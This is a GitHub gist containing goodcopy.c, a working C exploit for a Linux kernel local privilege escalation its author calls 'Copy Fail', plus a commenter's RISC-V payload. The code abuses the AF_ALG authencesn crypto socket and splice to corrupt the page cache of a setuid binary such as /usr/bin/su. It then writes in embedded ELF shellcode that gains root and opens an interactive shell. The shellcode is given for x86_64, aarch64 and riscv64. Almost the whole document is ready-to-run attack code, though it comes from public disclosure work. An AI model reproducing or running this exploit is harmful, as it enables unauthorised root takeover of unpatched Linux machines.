Skip to content

Instantly share code, notes, and snippets.

@blasty
Last active May 5, 2026 18:13
Show Gist options
  • Select an option

  • Save blasty/d7b5d0599b154c9ec83c182acbd56e8b to your computer and use it in GitHub Desktop.

Select an option

Save blasty/d7b5d0599b154c9ec83c182acbd56e8b to your computer and use it in GitHub Desktop.
goodcopy.c
//
//
// goodcopy.c
// ---------------------------------------------------------------------------
// lunchbreak reimpl of some horrid python golf
// by those fine folks from theori/xint. (good shit, ngl)
//
// to celebrate the release of Copy Fail and the professional
// way the embargo and disclosure was handled by all involved
// parties i have taken 45 minutes out of my oh so busy
// schedule to port the PoC to C and add support for aarch64
// as well as something that cleans up the poisoned cached
// executable so other scriptkiddies will still need to
// manually invoke the exploit rather than jumping straight
// to /bin/su
//
// oh yea you can also specify a different suid elf to target
//
// complaints and feedback can be forwarded to security@kernel.org
//
// cheers,
// -- blasty <peter@haxx.in>
//
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <stdint.h>
#include <linux/if_alg.h>
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#define ALG_SET_KEY 1
#define ALG_SET_IV 2
#define ALG_SET_OP 3
#define ALG_SET_AEAD_ASSOCLEN 4
#define ALG_SET_AEAD_AUTHSIZE 5
#define CMSG_ADD(mh, cm, tp, len, ...) do { \
cm = cm ? CMSG_NXTHDR(mh, cm) : CMSG_FIRSTHDR(mh); \
cm->cmsg_level = SOL_ALG; \
cm->cmsg_type = (tp); \
cm->cmsg_len = CMSG_LEN(len); \
uint8_t _d[] = { __VA_ARGS__ }; \
memcpy(CMSG_DATA(cm), _d, sizeof(_d)); \
} while (0)
#define TARGET_DEFAULT "/usr/bin/su"
//
// setuid(0); execve("/bin/sh", [
// "/bin/sh", "-c", "echo 3 >/proc/sys/vm/drop_caches; exec sh -i"], NULL)
//
#if defined(__aarch64__)
uint8_t sc_bin[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0xb7, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xef, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xef, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x80, 0xd2, 0x48, 0x12, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4,
0xa0, 0x01, 0x00, 0x10, 0xc1, 0x01, 0x00, 0x10, 0xa2, 0x01, 0x00, 0x70,
0x03, 0x00, 0x80, 0xd2, 0xe2, 0x0f, 0xbf, 0xa9, 0xe0, 0x07, 0xbf, 0xa9,
0xe1, 0x03, 0x00, 0x91, 0x02, 0x00, 0x80, 0xd2, 0xa8, 0x1b, 0x80, 0xd2,
0x01, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x80, 0xd2, 0xa8, 0x0b, 0x80, 0xd2,
0x01, 0x00, 0x00, 0xd4, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00,
0x2d, 0x63, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x33, 0x20, 0x3e, 0x2f,
0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f,
0x64, 0x72, 0x6f, 0x70, 0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x73, 0x3b,
0x65, 0x78, 0x65, 0x63, 0x20, 0x73, 0x68, 0x20, 0x2d, 0x69, 0x00, 0x00
};
unsigned int sc_bin_len = 240;
#elif defined(__x86_64__)
uint8_t sc_bin[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe1, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x23,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x1d, 0x24, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x0d, 0x20, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x50, 0x51, 0x53, 0x57, 0x48,
0x89, 0xe6, 0x31, 0xd2, 0xb0, 0x3b, 0x0f, 0x05, 0x31, 0xff, 0xb0, 0x3c,
0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x2d, 0x63,
0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x33, 0x20, 0x3e, 0x2f, 0x70, 0x72,
0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x72,
0x6f, 0x70, 0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x73, 0x3b, 0x65, 0x78,
0x65, 0x63, 0x20, 0x73, 0x68, 0x20, 0x2d, 0x69, 0x00, 0x00, 0x00, 0x00
};
unsigned int sc_bin_len = 228;
#else
#error "this shit cant pop your box, bring your own elf"
#endif
void hax(int f, int t, uint8_t *chunk) {
int a, u, pipefd[2];
struct sockaddr_alg sa;
a = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (a < 0) { perror("socket"); return; }
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "aead");
strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");
if (bind(a, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind"); close(a); return;
}
uint8_t key[40];
memset(key, 0, sizeof(key));
key[0] = 0x08;
key[2] = 0x01;
key[7] = 0x10;
setsockopt(a, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(a, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
u = accept(a, NULL, NULL);
close(a);
if (u < 0) {
perror("accept");
return;
}
int o = t + 4;
uint8_t data[8];
memset(data, 'A', 4);
memcpy(data + 4, chunk, 4);
struct iovec iov = { .iov_base = data, .iov_len = 8 };
char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)];
memset(cbuf, 0, sizeof(cbuf));
struct msghdr mh = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cmsg = NULL;
CMSG_ADD(&mh, cmsg, ALG_SET_OP, 4, 0, 0, 0, 0);
CMSG_ADD(&mh, cmsg, ALG_SET_IV, 20, 0x10);
CMSG_ADD(&mh, cmsg, ALG_SET_AEAD_ASSOCLEN, 4, 0x08);
sendmsg(u, &mh, MSG_MORE);
pipe(pipefd);
loff_t off_src = 0;
splice(f, &off_src, pipefd[1], NULL, o, 0);
splice(pipefd[0], NULL, u, NULL, o, 0);
close(pipefd[0]);
close(pipefd[1]);
uint8_t buf[8192];
recv(u, buf, 8 + t, 0);
close(u);
}
int main(int argc, char *argv[]) {
const char *exe = (argc > 1) ? argv[1] : TARGET_DEFAULT;
printf("[i] target: %s\n", exe);
int f = open(exe, O_RDONLY);
if (f < 0) {
perror("open");
return 1;
}
printf("[&] corrupting page cache (%u bytes)...\n", sc_bin_len);
unsigned int i;
for (i = 0; i < sc_bin_len; i += 4) {
hax(f, i, &sc_bin[i]);
}
close(f);
printf("[#] bl1ng bl1ng?!\n");
system(exe);
return 0;
}
@steev
Copy link
Copy Markdown

steev commented Apr 30, 2026

RISCV64

#elif defined(__riscv) && (__riscv_xlen == 64)

uint8_t sc_bin[] = {
        0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0xf3, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x93, 0x08, 0x20, 0x09, 0x13, 0x05, 0x00, 0x00, 0x73, 0x00, 0x00, 0x00,
        0x17, 0x05, 0x00, 0x00, 0x13, 0x05, 0x85, 0x04, 0x97, 0x02, 0x00, 0x00,
        0x93, 0x82, 0x82, 0x04, 0x17, 0x03, 0x00, 0x00, 0x13, 0x03, 0x33, 0x04,
        0x13, 0x01, 0x01, 0xfe, 0x23, 0x3c, 0x01, 0x00, 0x23, 0x38, 0x61, 0x00,
        0x23, 0x34, 0x51, 0x00, 0x23, 0x30, 0xa1, 0x00, 0x93, 0x05, 0x01, 0x00,
        0x13, 0x06, 0x00, 0x00, 0x93, 0x08, 0xd0, 0x0d, 0x73, 0x00, 0x00, 0x00,
        0x93, 0x08, 0xd0, 0x05, 0x13, 0x05, 0x00, 0x00, 0x73, 0x00, 0x00, 0x00,
        0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x2d, 0x63, 0x00, 0x65,
        0x63, 0x68, 0x6f, 0x20, 0x33, 0x20, 0x3e, 0x2f, 0x70, 0x72, 0x6f, 0x63,
        0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x72, 0x6f, 0x70,
        0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x73, 0x3b, 0x20, 0x65, 0x78, 0x65,
        0x63, 0x20, 0x73, 0x68, 0x20, 0x2d, 0x69, 0x00
};
unsigned int sc_bin_len = 260;

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment